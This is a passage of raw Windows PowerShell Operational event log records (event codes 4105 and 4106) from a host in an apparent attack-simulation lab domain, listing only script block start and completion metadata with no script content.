SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025529
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025528
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025527
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025526
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025525
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025524
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025523
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025522
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025521
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025520
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025519
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025518
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025517
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025516
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025515
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025514
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025513
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025512
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025511
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025510
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025509
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025508
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025507
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025506
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025505
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025504
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025503
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025502
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025501
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025500
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025499
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025498
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025497
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025496
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025495
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025494
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025493
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025492
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025491
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025490
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025489
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025488
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025487
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025486
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025485
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025484
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025483
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025482
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025481
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025480
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025479
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025478
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025477
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
